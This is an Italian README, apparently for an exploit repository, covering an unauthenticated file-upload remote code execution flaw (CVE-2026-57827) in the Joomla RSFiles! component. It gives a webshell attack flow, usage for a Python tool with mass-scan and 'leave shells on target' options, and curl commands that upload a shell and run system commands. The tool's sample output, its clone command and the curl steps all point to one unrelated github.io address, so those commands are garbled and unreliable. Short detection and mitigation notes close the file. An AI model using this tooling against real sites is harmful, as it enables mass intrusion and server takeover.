
Dimostra la vulnerabilità di esecuzione di codice in remoto non autenticata nel componente Joomla RSFiles! tramite un caricamento arbitrario di file.
CVE-2026-57827 è una vulnerabilità di gravità critica (CVSS 9.8) di caricamento arbitrario di file non autenticato in RSFiles! (com_rsfiles), un componente per la gestione dei file e dei download ampiamente utilizzato per Joomla, nelle versioni < 1.17.12.
La vulnerabilità sfrutta un difetto di progettazione del controller suddiviso: RSFiles! separa il proprio caricamento in due attività frontend — un controllo preliminare (verifica dei permessi + lista di estensioni consentite) e un metodo di scrittura (salva il file su disco). Il metodo di scrittura può essere richiamato direttamente, aggirando completamente il controllo preliminare. Nessuna autenticazione, nessun token CSRF richiesto.
| Versione | Stato |
|---|---|
| < 1.17.12 | Vulnerabile |
| 1.17.12+ | Corretta |
Scoperta da: Phil Taylor, mySites.guru (10 luglio 2026) Fornitore: RSJoomla (rsjoomla.com) Componente: com_rsfiles
RSFiles! suddivide il proprio caricamento in due attività frontend separate in /components/com_rsfiles/controllers/rsfiles.php:
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload, saltando completamente il controllo preliminare.JFile::upload()), che per impostazione predefinita accetta qualsiasi tipo di file..htaccess protettivo che impedirebbe l'esecuzione di PHP in quella cartella è un'impostazione admin opt-in che è disattivata per impostazione predefinita.1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
| File | Scopo |
|---|---|
/components/com_rsfiles/controllers/rsfiles.php | Controller con le attività vulnerabili upload() e checkupload() |
/components/com_rsfiles/views/upload/tmpl/upload.php | Template del modulo di caricamento frontend (confermato: name="file", task=rsfiles.upload) |
/downloads/ | Cartella di download predefinita nella root web (protezione .htaccess disattivata per impostazione predefinita) |
/briefcase/ | Cartella Briefcase (anch'essa scrivibile) |
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
I controlli di sicurezza (gate dei permessi + allow-list delle estensioni) sono un passo di pre-verifica separato rispetto al metodo che effettivamente scrive il file. Solo il primo contiene i controlli. Il secondo — quello che scrive su disco — potrebbe essere chiamato direttamente confezionando il parametro task corretto nell'URL, aggirando tutti i controlli di sicurezza.
Questo è un esempio da manuale dell'anti-pattern "controlli e azioni in luoghi diversi": la protezione e l'operazione che dovrebbe tutelare sono disaccoppiate, e un attaccante può raggiungere l'operazione senza passare attraverso la protezione.
git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://candisexterior171.github.io
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
Passo 1 — Caricare la shell
curl -X POST 'https://candisexterior171.github.io' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
Passo 2 — Accedere alla shell
curl 'https://candisexterior171.github.io'
Passo 3 — Esegui i comandi
curl 'https://candisexterior171.github.io;hostname;uname -a'
Mitigazione (se l'aggiornamento non è possibile)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"